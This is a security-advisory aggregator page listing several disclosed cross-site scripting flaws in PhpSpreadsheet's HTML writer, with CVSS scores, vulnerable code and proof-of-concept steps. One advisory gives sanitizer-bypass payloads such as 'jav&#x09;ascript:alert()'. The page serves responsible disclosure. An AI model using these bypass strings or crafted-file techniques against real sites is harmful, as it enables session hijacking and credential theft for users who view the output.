php if (isset($POST['submit'])) { $POST['A'] = floatval($POST['A']); $POST['B'] = floatval($POST['B']); $POST['C'] = floatval($POST['C']); if ($POST['A'] == 0) {

Thank you for your time!

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
EPSS
0.04%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.

Details When generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.

php // Construct HTML $html = '';

// Only if there are more than 1 sheets if (count($sheets) > 1) { // Loop all sheets $sheetId = 0;

$html .= '<ul class="navigation">' . PHPEOL;

foreach ($sheets as $sheet) { $html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHPEOL; ++$sheetId; }

$html .= '</ul>' . PHPEOL; }

PoC 1. Create an XLSX file with multiple sheets : !image

2. Generate the HTML content php <?php require DIR . '/vendor/autoload.php';

$inputFileName = 'payload.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->writeAllSheets(); echo $writer->generateHTMLAll(); ?> 3. Enjoy !image

Impact

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Example of impacts :

- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if HttpOnly cookie's flag is set to false). - Redirecting the user to some other page or site (like phishing websites) - Modifying the content of the current page (add a fake login page that sends credentials to the attacker). - Automatically download malicious files. - Requests access to the victim geolocation / camera. - ...

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());

Save this file in the same directory: book.xlsx

Open index.php in a web browser. An alert should be displayed.

Impact

Full takeover of the session of users viewing spreadsheet files as HTML.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary \PhpOffice\PhpSpreadsheet\Writer\Html does not sanitize "javascript:" URLs from hyperlink href attributes, resulting in a Cross-Site Scripting vulnerability.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());

Save this file in the same directory: book.xlsx

Open index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Cross-Site Scripting (XSS) vulnerability in custom properties

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is generated without clearing custom properties Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateMeta Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.

Listing 9. Source code on the server

<?php

require DIR . '/vendor/autoload.php';

$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());

An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a custom property in the file is inserted into the docProps/custom.xml file.

!fig17

Figure 17. Embedding the payload

After making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.

!fig18

Figure 18. Getting a custom property

When calling the static generateMeta method, you can see that the key of the custom property is displayed without sanitization.

!fig19

Figure 19. Getting a custom property

As a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed.

<img width="356" alt="fig20" src="https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef" />

Figure 20. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Bypass XSS sanitizer using the javascript protocol and special characters

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.

The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.

Listing 6. Source code on the server

<?php

require DIR . '/vendor/autoload.php';

$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());

An attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link. The Excel file is unpacked and a hyperlink in the file is inserted into the xl/worksheets/sheet1.xml file.

!fig11

Figure 11. Using the javascript protocol with special characters

Some payloads help bypass the security system and carry out a XSS attack.

Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability

jav&#x09;ascript:alert() jav&#x0D;ascript:alert() jav&#x0A;ascript:alert()

It's clear that the javascript protocol with special characters is used.

!fig12

Figure 12. Using the javascript protocol with special characters

Due to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol.

<img width="373" alt="fig13" src="https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26" />

Figure 13. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is formed without sanitizing the hyperlink base Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateHTMLHeader Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.

Listing 8. Source code on the server

<?php

require DIR . '/vendor/autoload.php';

$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());

An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a HyperlinkBase in the file is inserted into the docProps/app.xml file.

!fig14

Figure 14. Embedding the payload

After the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.

!fig15

Figure 15. Generating the HTML page header using the HyperlinkBase property

After generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed. <img width="356" alt="fig16" src="https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5" />

Figure 16. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203